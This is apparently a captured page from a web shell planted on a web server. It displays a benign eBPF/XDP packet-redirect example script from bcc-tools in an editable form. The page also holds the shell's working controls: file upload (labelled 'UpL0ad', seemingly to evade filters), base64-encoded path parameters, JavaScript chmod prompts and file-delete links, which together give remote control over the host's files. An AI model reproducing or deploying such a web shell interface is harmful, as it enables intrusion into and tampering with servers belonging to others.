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<hr>xdp_redirect_map.py<form method=post action="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA%3D&f=eGRwX3JlZGlyZWN0X21hcC5weQ%3D%3D"><input name="f" value="xdp_redirect_map.py"><textarea name="t">#!/usr/bin/python
#
# xdp_redirect_map.py Redirect the incoming packet to another interface
#                     with the helper: bpf_redirect_map()
#
# Copyright (c) 2018 Gary Lin
# Licensed under the Apache License, Version 2.0 (the &quot;License&quot;)

from bcc import BPF
import pyroute2
import time
import sys
import ctypes as ct

flags = 0
def usage():
    print(&quot;Usage: {0} &lt;in ifdev&gt; &lt;out ifdev&gt;&quot;.format(sys.argv[0]))
    print(&quot;e.g.: {0} eth0 eth1\n&quot;.format(sys.argv[0]))
    exit(1)

if len(sys.argv) != 3:
    usage()

in_if = sys.argv[1]
out_if = sys.argv[2]

ip = pyroute2.IPRoute()
out_idx = ip.link_lookup(ifname=out_if)[0]

# load BPF program
b = BPF(text = &quot;&quot;&quot;
#include &lt;uapi/linux/bpf.h&gt;
#include &lt;linux/in.h&gt;
#include &lt;linux/if_ether.h&gt;

BPF_DEVMAP(tx_port, 1);
BPF_PERCPU_ARRAY(rxcnt, long, 1);

static inline void swap_src_dst_mac(void *data)
{
    unsigned short *p = data;
    unsigned short dst[3];

    dst[0] = p[0];
    dst[1] = p[1];
    dst[2] = p[2];
    p[0] = p[3];
    p[1] = p[4];
    p[2] = p[5];
    p[3] = dst[0];
    p[4] = dst[1];
    p[5] = dst[2];
}

int xdp_redirect_map(struct xdp_md *ctx) {
    void* data_end = (void*)(long)ctx-&gt;data_end;
    void* data = (void*)(long)ctx-&gt;data;
    struct ethhdr *eth = data;
    uint32_t key = 0;
    long *value;
    uint64_t nh_off;

    nh_off = sizeof(*eth);
    if (data + nh_off  &gt; data_end)
        return XDP_DROP;

    value = rxcnt.lookup(&amp;key);
    if (value)
        *value += 1;

    swap_src_dst_mac(data);

    return tx_port.redirect_map(0, 0);
}

int xdp_dummy(struct xdp_md *ctx) {
    return XDP_PASS;
}
&quot;&quot;&quot;, cflags=[&quot;-w&quot;])

tx_port = b.get_table(&quot;tx_port&quot;)
tx_port[0] = ct.c_int(out_idx)

in_fn = b.load_func(&quot;xdp_redirect_map&quot;, BPF.XDP)
out_fn = b.load_func(&quot;xdp_dummy&quot;, BPF.XDP)

b.attach_xdp(in_if, in_fn, flags)
b.attach_xdp(out_if, out_fn, flags)

rxcnt = b.get_table(&quot;rxcnt&quot;)
prev = 0
print(&quot;Printing redirected packets, hit CTRL+C to stop&quot;)
while 1:
    try:
        val = rxcnt.sum(0).value
        if val:
            delta = val - prev
            prev = val
            print(&quot;{} pkt/s&quot;.format(delta))
        time.sleep(1)
    except KeyboardInterrupt:
        print(&quot;Removing filter from device&quot;)
        break

b.remove_xdp(in_if, flags)
b.remove_xdp(out_if, flags)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/bpfcc-tools/examples/networking/xdp<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&x=eGRwX2Ryb3BfY291bnQucHk=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&f=eGRwX2Ryb3BfY291bnQucHk="/>xdp_drop_count.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&f=eGRwX2Ryb3BfY291bnQucHk=&c=`+btoa(c):0" value="0755"></td><td>4313</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&x=eGRwX21hY3N3YXBfY291bnQucHk=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&f=eGRwX21hY3N3YXBfY291bnQucHk="/>xdp_macswap_count.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&f=eGRwX21hY3N3YXBfY291bnQucHk=&c=`+btoa(c):0" value="0755"></td><td>4544</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&x=eGRwX3JlZGlyZWN0X2NwdS5weQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&f=eGRwX3JlZGlyZWN0X2NwdS5weQ=="/>xdp_redirect_cpu.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&f=eGRwX3JlZGlyZWN0X2NwdS5weQ==&c=`+btoa(c):0" value="0755"></td><td>2025</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&x=eGRwX3JlZGlyZWN0X21hcC5weQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&f=eGRwX3JlZGlyZWN0X21hcC5weQ=="/>xdp_redirect_map.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy94ZHA=&f=eGRwX3JlZGlyZWN0X21hcC5weQ==&c=`+btoa(c):0" value="0755"></td><td>2273</td></tr></table>